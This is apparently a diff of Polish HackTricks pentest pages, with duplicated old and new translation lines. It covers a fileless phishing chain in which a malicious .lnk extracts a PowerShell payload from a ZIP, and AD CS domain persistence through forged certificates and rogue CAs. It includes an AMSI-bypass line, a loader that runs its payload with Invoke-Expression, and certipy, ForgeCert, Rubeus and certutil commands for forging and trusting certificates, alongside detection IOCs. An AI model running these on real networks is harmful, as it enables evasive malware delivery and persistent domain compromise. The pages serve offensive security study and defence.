- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Bardzo skuteczne kampanie dostarczają ZIP, który zawiera dwa legalne dokumenty-przynęty (PDF/DOCX) oraz złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty PowerShell loader jest przechowany w surowych bajtach ZIP-a po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci.
|
||||
Bardzo skuteczne kampanie dostarczają ZIP zawierający dwa legalne dokumenty-wabiki (PDF/DOCX) oraz złośliwy .lnk. Sztuczka polega na tym, że faktyczny PowerShell loader jest przechowywany w surowych bajtach ZIP-a po unikalnym markerze, a .lnk wydziela go i uruchamia w całości w pamięci.
|
||||
|
||||
Typowy przebieg realizowany przez .lnk PowerShell one-liner:
|
||||
|
||||
1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
|
||||
2) Odczytaj bajty ZIP-a i znajdź na stałe wpisany marker (np. xFIQCV). Wszystko po markerze to osadzony PowerShell payload.
|
||||
3) Skopiuj ZIP do %ProgramData%, rozpakuj tam i otwórz przynętę .docx, aby wyglądało to legalnie.
|
||||
4) Obejście AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuskacja następnego etapu (np. usunięcie wszystkich znaków #) i wykonanie go w pamięci.
|
||||
1) Znajdź oryginalny ZIP w typowych lokalizacjach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
|
||||
2) Odczytaj bajty ZIP-a i znajdź w nim zakodowany marker (np. xFIQCV). Wszystko po markerze to osadzony PowerShell payload.
|
||||
3) Skopiuj ZIP do %ProgramData%, rozpakuj go tam i otwórz dokument-wabik (.docx), aby wyglądać wiarygodnie.
|
||||
4) Obejdź AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuskować następny etap (np. usuwając wszystkie znaki #) i wykonać go w pamięci.
|
||||
|
||||
Przykładowy szkielet PowerShell do wyodrębnienia i uruchomienia osadzonego etapu:
|
||||
```powershell
|
||||
@ -191,23 +191,32 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notatki
|
||||
- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwować nieszkodliwe ZIPs w zależności od IP/UA).
|
||||
- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go przy użyciu Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
|
||||
- Dostarczenie często nadużywa renomowanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloads (serwując nieszkodliwe ZIPs w zależności od IP/UA).
|
||||
- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go przez Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control tak, aby IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamiała payload. Zobacz szczegóły i gotowe polecenia tutaj:
|
||||
Persistence używane w tym samym łańcuchu
|
||||
- COM TypeLib hijacking kontrolki Microsoft Web Browser, tak że IE/Explorer lub dowolna aplikacja osadzająca ją automatycznie ponownie uruchamia payload. Zobacz szczegóły i gotowe komendy tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files zawierające ASCII marker string (np. xFIQCV) dopisany do danych archiwum.
|
||||
- .lnk, który enumeruje foldery nadrzędne/użytkownika, aby zlokalizować ZIP i otworzyć dokument przynętowy.
|
||||
- Manipulacja AMSI przez [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Pliki ZIP zawierające ciąg znaków ASCII (np. xFIQCV) dopisany do danych archiwum.
|
||||
- .lnk, który przeszukuje foldery nadrzędne/użytkownika, aby zlokalizować ZIP i otwiera fałszywy dokument.
|
||||
- Manipulacja AMSI za pomocą [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Długotrwałe wątki biznesowe kończące się linkami hostowanymi pod zaufanymi domenami PaaS.
|
||||
|
||||
## Referencje
|
||||
## Pliki Windows do kradzieży hashów NTLM
|
||||
|
||||
Sprawdź stronę dotyczącą **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# AD CS Domain Persistence
|
||||
# AD CS - utrwalanie dostępu w domenie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**To jest streszczenie technik trwałości w domenie przedstawionych w [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Zapoznaj się z nim, aby uzyskać dalsze szczegóły.
|
||||
**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details.
|
||||
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
@ -10,18 +10,18 @@ Jak rozpoznać, że certyfikat jest certyfikatem CA?
|
||||
|
||||
Można stwierdzić, że certyfikat jest certyfikatem CA, jeśli spełnione są następujące warunki:
|
||||
|
||||
- Certyfikat jest przechowywany na serwerze CA, a jego klucz prywatny zabezpieczony przez DPAPI maszyny lub przez sprzęt taki jak TPM/HSM, jeśli system operacyjny to obsługuje.
|
||||
- Pola Issuer i Subject certyfikatu odpowiadają wyróżnionej nazwie (distinguished name) CA.
|
||||
- Certyfikat jest przechowywany na serwerze CA, a jego klucz prywatny jest zabezpieczony przez DPAPI maszyny lub przez sprzęt, taki jak TPM/HSM, jeśli system operacyjny to obsługuje.
|
||||
- Pola Issuer i Subject certyfikatu odpowiadają distinguished name CA.
|
||||
- Rozszerzenie "CA Version" występuje wyłącznie w certyfikatach CA.
|
||||
- Certyfikat nie zawiera pól Extended Key Usage (EKU).
|
||||
- Certyfikat nie ma pól Extended Key Usage (EKU).
|
||||
|
||||
Aby wyodrębnić klucz prywatny tego certyfikatu, obsługiwanym sposobem jest użycie narzędzia `certsrv.msc` na serwerze CA za pomocą wbudowanego GUI. Niemniej jednak ten certyfikat nie różni się od innych przechowywanych w systemie; dlatego do jego wyodrębnienia można zastosować metody takie jak [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
|
||||
Aby wyeksportować klucz prywatny tego certyfikatu, narzędzie `certsrv.msc` na serwerze CA jest wspieraną metodą poprzez wbudowane GUI. Niemniej jednak ten certyfikat nie różni się od innych przechowywanych w systemie; w związku z tym można zastosować metody takie jak [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) do jego wyodrębnienia.
|
||||
|
||||
Certyfikat i klucz prywatny można również uzyskać przy użyciu Certipy za pomocą następującego polecenia:
|
||||
Certyfikat i klucz prywatny można również uzyskać za pomocą Certipy, używając następującego polecenia:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
Po uzyskaniu certyfikatu CA i jego klucza prywatnego w formacie `.pfx`, narzędzia takie jak [ForgeCert](https://github.com/GhostPack/ForgeCert) można wykorzystać do wygenerowania ważnych certyfikatów:
|
||||
Po pozyskaniu certyfikatu CA i jego klucza prywatnego w formacie `.pfx`, narzędzia takie jak [ForgeCert](https://github.com/GhostPack/ForgeCert) mogą być wykorzystane do wygenerowania ważnych certyfikatów:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,19 +36,18 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> Użytkownik, którego celem jest fałszowanie certyfikatu, musi być aktywny i zdolny do uwierzytelnienia w Active Directory, aby proces zakończył się powodzeniem. Fałszowanie certyfikatu dla specjalnych kont, takich jak krbtgt, jest nieskuteczne.
|
||||
> Użytkownik będący celem podrobienia certyfikatu musi być aktywny i zdolny do uwierzytelnienia w Active Directory, aby proces zakończył się powodzeniem. Fałszowanie certyfikatu dla specjalnych kont, takich jak krbtgt, jest nieskuteczne.
|
||||
|
||||
Ten sfabrykowany certyfikat będzie **ważny** do określonej daty końcowej oraz tak długo, jak ważny jest certyfikat root CA (zwykle od 5 do **10+ lat**). Jest on również ważny dla **maszyn**, więc w połączeniu z **S4U2Self** atakujący może **utrzymać trwałą obecność na dowolnej maszynie domenowej** tak długo, jak ważny jest certyfikat CA.\
|
||||
Co więcej, **certyfikaty wygenerowane** tą metodą **nie mogą zostać unieważnione**, ponieważ CA nie jest ich świadome.
|
||||
Ten podrobiony certyfikat będzie **ważny** do określonej daty końcowej oraz tak długo, jak ważny jest certyfikat root CA (zazwyczaj od 5 do **10+ lat**). Jest on również ważny dla **machines**, więc w połączeniu z **S4U2Self** atakujący może **maintain persistence on any domain machine** tak długo, jak ważny jest certyfikat CA.\ Ponadto, **certificates generated** tą metodą **cannot be revoked**, ponieważ CA o nich nie wie.
|
||||
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
### Działanie przy włączonym Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Od 11 lutego 2025 (po wdrożeniu KB5014754) kontrolery domeny domyślnie przechodzą na **Full Enforcement** dla mapowań certyfikatów. W praktyce oznacza to, że twoje sfałszowane certyfikaty muszą albo:
|
||||
Od 11 lutego 2025 (po wdrożeniu KB5014754) kontrolery domeny domyślnie używają **Full Enforcement** dla mapowania certyfikatów. W praktyce oznacza to, że Twoje podrobione certyfikaty muszą albo:
|
||||
|
||||
- Zawierać silne powiązanie z docelowym kontem (np. rozszerzenie bezpieczeństwa SID), lub
|
||||
- Być sparowane z silnym, jednoznacznym mapowaniem na atrybucie `altSecurityIdentities` obiektu docelowego.
|
||||
- Zawierać silne powiązanie z kontem docelowym (na przykład SID security extension), lub
|
||||
- Być sparowane z silnym, wyraźnym mapowaniem na atrybucie `altSecurityIdentities` obiektu docelowego.
|
||||
|
||||
Niezawodnym podejściem do utrzymania persystencji jest wystawienie sfałszowanego certyfikatu dowiązanego do skradzionej Enterprise CA, a następnie dodanie silnego, jawnego mapowania do principala ofiary:
|
||||
Niezawodnym podejściem dla persistence jest wyemitowanie podrobionego certyfikatu powiązanego z ukradzionym Enterprise CA, a następnie dodanie silnego, jawnego mapowania do victim principal:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -57,15 +56,15 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Uwagi
|
||||
- Jeśli uda ci się wykreować sfałszowane certyfikaty, które zawierają SID security extension, będą one mapowane automatycznie nawet przy Full Enforcement. W przeciwnym razie preferuj jawne silne mapowania. Zobacz
|
||||
[account-persistence](account-persistence.md) aby dowiedzieć się więcej o jawnych mapowaniach.
|
||||
- Unieważnienie nie pomaga obrońcom: sfałszowane certyfikaty nie figurują w bazie CA i dlatego nie można ich unieważnić.
|
||||
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
|
||||
[account-persistence](account-persistence.md) for more on explicit mappings.
|
||||
- Unieważnianie nie pomaga obrońcom w tym przypadku: sfałszowane certyfikaty są nieznane w bazie CA i dlatego nie mogą zostać unieważnione.
|
||||
|
||||
## Zaufanie do złośliwych certyfikatów CA - DPERSIST2
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
Obiekt `NTAuthCertificates` jest zdefiniowany tak, aby zawierać jeden lub więcej **certyfikatów CA** w swoim atrybucie `cacertificate`, którego używa Active Directory (AD). Proces weryfikacji przez **kontroler domeny** polega na sprawdzeniu obiektu `NTAuthCertificates` pod kątem wpisu odpowiadającego **CA wskazanej** w polu Issuer uwierzytelniającego **certyfikatu**. Uwierzytelnianie jest kontynuowane, jeśli znaleziono dopasowanie.
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
|
||||
Samopodpisany certyfikat CA może zostać dodany do obiektu `NTAuthCertificates` przez atakującego, o ile ma on kontrolę nad tym obiektem AD. Zazwyczaj tylko członkowie grupy **Enterprise Admin**, wraz z **Domain Admins** lub **Administrators** w domenie korzenia lasu, mają uprawnienia do modyfikacji tego obiektu. Mogą oni edytować obiekt `NTAuthCertificates` za pomocą `certutil.exe` poleceniem `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, lub korzystając z [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
Do obiektu `NTAuthCertificates` atakujący może dodać self-signed CA certificate, jeśli posiada kontrolę nad tym obiektem AD. Zwykle tylko członkowie grupy **Enterprise Admin**, wraz z **Domain Admins** lub **Administrators** w **forest root’s domain**, mają uprawnienia do modyfikowania tego obiektu. Mogą edytować obiekt `NTAuthCertificates` używając `certutil.exe` z poleceniem `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, lub korzystając z [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Dodatkowe przydatne polecenia dla tej techniki:
|
||||
```bash
|
||||
@ -78,34 +77,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Ta możliwość jest szczególnie istotna, gdy jest stosowana wraz z wcześniej opisanym sposobem wykorzystującym ForgeCert do dynamicznego generowania certyfikatów.
|
||||
Ta możliwość jest szczególnie istotna, gdy jest używana w połączeniu z wcześniej opisanym sposobem wykorzystującym ForgeCert do dynamicznego generowania certyfikatów.
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
|
||||
Możliwości uzyskania **persistence** poprzez **modyfikacje deskryptorów zabezpieczeń komponentów AD CS** są liczne. Modyfikacje opisane w sekcji "[Domain Escalation](domain-escalation.md)" mogą być złośliwie wdrożone przez atakującego z podwyższonymi uprawnieniami. Obejmuje to dodanie "control rights" (np. WriteOwner/WriteDACL/itd.) do wrażliwych komponentów takich jak:
|
||||
Opportunities for **persistence** through **security descriptor modifications of AD CS** components are plentiful. Modifications described in the "[Domain Escalation](domain-escalation.md)" section can be maliciously implemented by an attacker with elevated access. This includes the addition of "control rights" (e.g., WriteOwner/WriteDACL/etc.) to sensitive components such as:
|
||||
|
||||
- Obiekt **komputera AD serwera CA**
|
||||
- **Serwer RPC/DCOM serwera CA**
|
||||
- Dowolny **potomek obiekt AD lub kontener** w **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (na przykład kontener Certificate Templates, kontener Certification Authorities, obiekt NTAuthCertificates, itd.)
|
||||
- **Grupy AD, którym przydzielono prawa do kontrolowania AD CS** domyślnie lub przez organizację (takie jak wbudowana grupa Cert Publishers i jej członkowie)
|
||||
- Obiekt komputerowy AD serwera CA
|
||||
- RPC/DCOM serwera CA
|
||||
- Dowolny podrzędny AD object or container w **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (na przykład Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, itd.)
|
||||
- AD groups delegated rights to control AD CS domyślnie lub przez organizację (takie jak wbudowana grupa Cert Publishers i jej członkowie)
|
||||
|
||||
Przykład złośliwej implementacji obejmowałby atakującego, który ma **elevated permissions** w domenie, dodającego uprawnienie **`WriteOwner`** do domyślnego szablonu certyfikatu **`User`**, przy czym atakujący jest podmiotem tego prawa. Aby to wykorzystać, atakujący najpierw zmieniłby właściciela szablonu **`User`** na siebie. Następnie flaga **`mspki-certificate-name-flag`** zostałaby ustawiona na **1** w szablonie, aby włączyć **`ENROLLEE_SUPPLIES_SUBJECT`**, pozwalając użytkownikowi podać Subject Alternative Name w żądaniu. W konsekwencji atakujący mógłby **enroll** używając **szablonu**, wybierając jako alternatywną nazwę konto **domain administrator**, i użyć pozyskanego certyfikatu do uwierzytelnienia jako DA.
|
||||
Przykładem złośliwej implementacji byłby atakujący, który mając **elevated permissions** w domenie, dodaje uprawnienie **`WriteOwner`** do domyślnego szablonu certyfikatu **`User`**, przy czym atakujący jest principalem dla tego prawa. Aby to wykorzystać, atakujący najpierw zmieni właściciela szablonu **`User`** na siebie. Następnie **`mspki-certificate-name-flag`** zostanie ustawiony na **1** w szablonie, aby włączyć **`ENROLLEE_SUPPLIES_SUBJECT`**, co pozwoli użytkownikowi podać Subject Alternative Name w żądaniu. W dalszej kolejności atakujący mógłby **enroll** używając **szablonu**, wybierając nazwę **domain administrator** jako nazwę alternatywną i wykorzystać uzyskany certyfikat do uwierzytelnienia jako DA.
|
||||
|
||||
Praktyczne ustawienia, które atakujący mogą skonfigurować dla długoterminowego persistence (zobacz {{#ref}}domain-escalation.md{{#endref}} po pełne szczegóły i wykrywanie):
|
||||
Praktyczne ustawienia, które atakujący mogą skonfigurować dla długoterminowego persistence w domenie (patrz {{#ref}}domain-escalation.md{{#endref}} dla pełnych szczegółów i wykrywania):
|
||||
|
||||
- Flagi polityki CA umożliwiające SAN od żądających (np. włączenie `EDITF_ATTRIBUTESUBJECTALTNAME2`). To pozwala nadal wykorzystywać ścieżki podobne do ESC1.
|
||||
- DACL lub ustawienia szablonu pozwalające na wydawanie certyfikatów zdolnych do uwierzytelniania (np. dodanie EKU Client Authentication, włączenie `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Kontrolowanie obiektu `NTAuthCertificates` lub kontenerów CA w celu ciągłego ponownego wprowadzania rogue issuers, jeśli obrońcy podejmą próbę oczyszczenia.
|
||||
- Flagi polityki CA pozwalające na SAN od żądających (np. włączenie `EDITF_ATTRIBUTESUBJECTALTNAME2`). Dzięki temu ścieżki podobne do ESC1 pozostają wykorzystywalne.
|
||||
- Template DACL lub ustawienia umożliwiające wydawanie zdolne do uwierzytelniania (np. dodanie Client Authentication EKU, włączenie `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Kontrolowanie obiektu `NTAuthCertificates` lub kontenerów CA, aby nieustannie przywracać fałszywych wydawców, jeśli obrońcy spróbują posprzątać.
|
||||
|
||||
> [!TIP]
|
||||
> W utwardzonych środowiskach po KB5014754, łączenie tych błędnych konfiguracji z jawnymi, silnymi mapowaniami (`altSecurityIdentities`) zapewnia, że wydane lub sfałszowane certyfikaty pozostaną użyteczne nawet gdy DC wymuszają silne mapowanie.
|
||||
> W utwardzonych środowiskach po KB5014754, sparowanie tych błędnych konfiguracji z jawymi silnymi mapowaniami (`altSecurityIdentities`) zapewnia, że wydane lub podrobione certyfikaty pozostaną użyteczne nawet gdy DCs wymuszają silne mapowanie.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## Odniesienia
|
||||
|
||||
- Microsoft KB5014754 – Zmiany w uwierzytelnianiu opartym na certyfikatach na kontrolerach domen Windows (harmonogram wdrożenia i silne mapowania). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – dokumentacja poleceń i użycie forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Referencja poleceń oraz użycie forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user